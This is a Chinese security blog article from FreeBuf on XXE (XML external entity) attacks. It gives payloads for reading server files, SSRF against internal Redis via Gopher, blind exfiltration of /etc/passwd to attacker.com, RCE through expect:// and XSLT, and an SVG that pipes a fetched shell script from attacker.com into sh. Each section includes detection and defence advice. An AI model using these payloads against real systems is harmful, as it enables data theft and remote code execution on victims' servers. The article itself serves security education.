freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

XXE漏洞攻击场景的一些解析
jasongsasd 2025-02-14 10:36:27 75993
所属地 上海

1. 敏感文件泄露

攻击原理
通过XML外部实体引用本地文件系统路径,利用未正确配置的XML解析器读取服务器敏感文件

具体Payload示例

  • 读取Linux系统文件:
<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
  • 利用条件:XML解析器允许file://协议,且应用返回错误信息或解析结果。


  • 读取Windows文件:
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
  • 利用PHP包装器绕过限制:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
  • 结果:文件内容以Base64编码形式返回,避免XML解析错误。

检测与防御

检测:

  • 监控HTTP响应中是否包含文件内容(如root:x:0:0:)。
  • 使用Burp Collaborator检测文件读取尝试。

防御:

  • 禁用file://协议:setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
  • 过滤XML中的<!DOCTYPE声明。

2. 服务端请求伪造(SSRF)

攻击原理
利用XML解析器发起任意HTTP请求,探测或攻击内网服务。

Payload示例

  • 探测内网HTTP服务:
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
  • 利用Gopher协议攻击Redis:
<!ENTITY xxe SYSTEM "gopher://internal-redis:6379/_*2%0D%0A$4%0D%0AAUTH%0D%0A$5%0D%0Aadmin%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$5%0D%0Akey%0D%0A$5%0D%0Avalue%0D%0A">
  • 结果:通过Gopher协议向Redis发送命令,触发未授权访问。
  • 利用FTP外带数据:
<!ENTITY % dtd SYSTEM "ftp://attacker.com:2121/data.dtd">

检测与防御
检测:

  • 监控XML解析器发起的异常出站请求(如非预期IP的HTTP/FTP连接)。
  • 使用网络层IDS规则:alert tcp any any -> any 8080 (msg:"XXE SSRF"; content:"GET /admin";)

防御:

  • 禁用网络协议:setFeature("http://xml.org/sax/features/external-general-entities", false)
  • 配置防火墙规则,禁止XML解析器进程访问内网。

3. 盲注XXE(数据外带)

攻击原理

当目标应用不直接返回数据时,通过DNS/HTTP请求将数据外传到攻击者服务器。

Payload示例

基于DNS的数据外带:

<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com/dtd">
  %remote;
]>

其中dtd内容:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%data;'>">
%exfil;
  • 基于HTTP的参数外带:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

检测与防御
检测:

  • 分析DNS日志中的异常子域名查询(如7a68656c6c6f.attacker.com对应Hex编码的"zhello")。
  • 使用Burp Collaborator或Interactsh平台捕获外带请求。

防御:

  • 禁用参数实体:setFeature("http://xml.org/sax/features/external-parameter-entities", false)
  • 输入内容过滤:拦截%和&等实体声明符号

4. 远程代码执行(RCE)

攻击原理

在特定环境下(如PHP启用expect扩展),通过包装器直接执行系统命令。

Payload示例

  • PHP expect RCE:
<!ENTITY xxe SYSTEM "expect://id">
  • 响应:返回uid=0(root) gid=0(root)等命令结果。
  • Java XSLT RCE
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="http://attacker.com/exploit.xsl"?>
  • exploit.xsl:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="runtime:exec(java.lang.Runtime.getRuntime(), 'calc.exe')"/>
  </xsl:template>
</xsl:stylesheet>

检测与防御
检测:

  • 监控系统进程日志,如/var/log/auth.log中的异常命令执行。
  • 使用HIDS(主机入侵检测系统)捕获可疑进程创建。

防御

  • 禁用危险包装器(如PHP的expect://)。
  • 限制XSLT处理器的网络访问权限。

5.绕过手法

  • UTF-7编码绕过
+ADw-+ACE-DOCTYPE root+AFs-
  +ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
+AD4-
  • 防御:强制指定XML编码为UTF-8:<?xml version="1.0" encoding="UTF-8"?>
  • XInclude注入
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>
  • 防御:禁用XInclude解析:setXIncludeAware(false)

SVG/Office文档XXE

  • 恶意SVG文件:
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="expect://curl http://attacker.com/shell.sh | sh"/>
</svg>

防御:

  • 文件上传过滤:禁止上传包含<!ENTITY的文件。
  • 使用沙箱解析用户上传的文档。

总结:XEE攻击场景的防御需要结合协议禁用、输入过滤、日志监控的多层防护,并通过持续渗透测试验证防护效果。尤其需注意非显式XXE入口点(如Office文档、SVG图像),构建完整的文件上传安全策略。

# 漏洞 # XXE攻击 # XXE漏洞 # XXE实战
本文为 jasongsasd 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
jasongsasd LV.4
这家伙太懒了,还未填写个人描述!
  • 10 文章数
  • 2 关注者
CVE-2016-4437(Shiro-550)漏洞简述
2025-02-18
XXE漏洞的简单介绍
2025-02-14
fastjson漏洞小结
2025-02-13
文章目录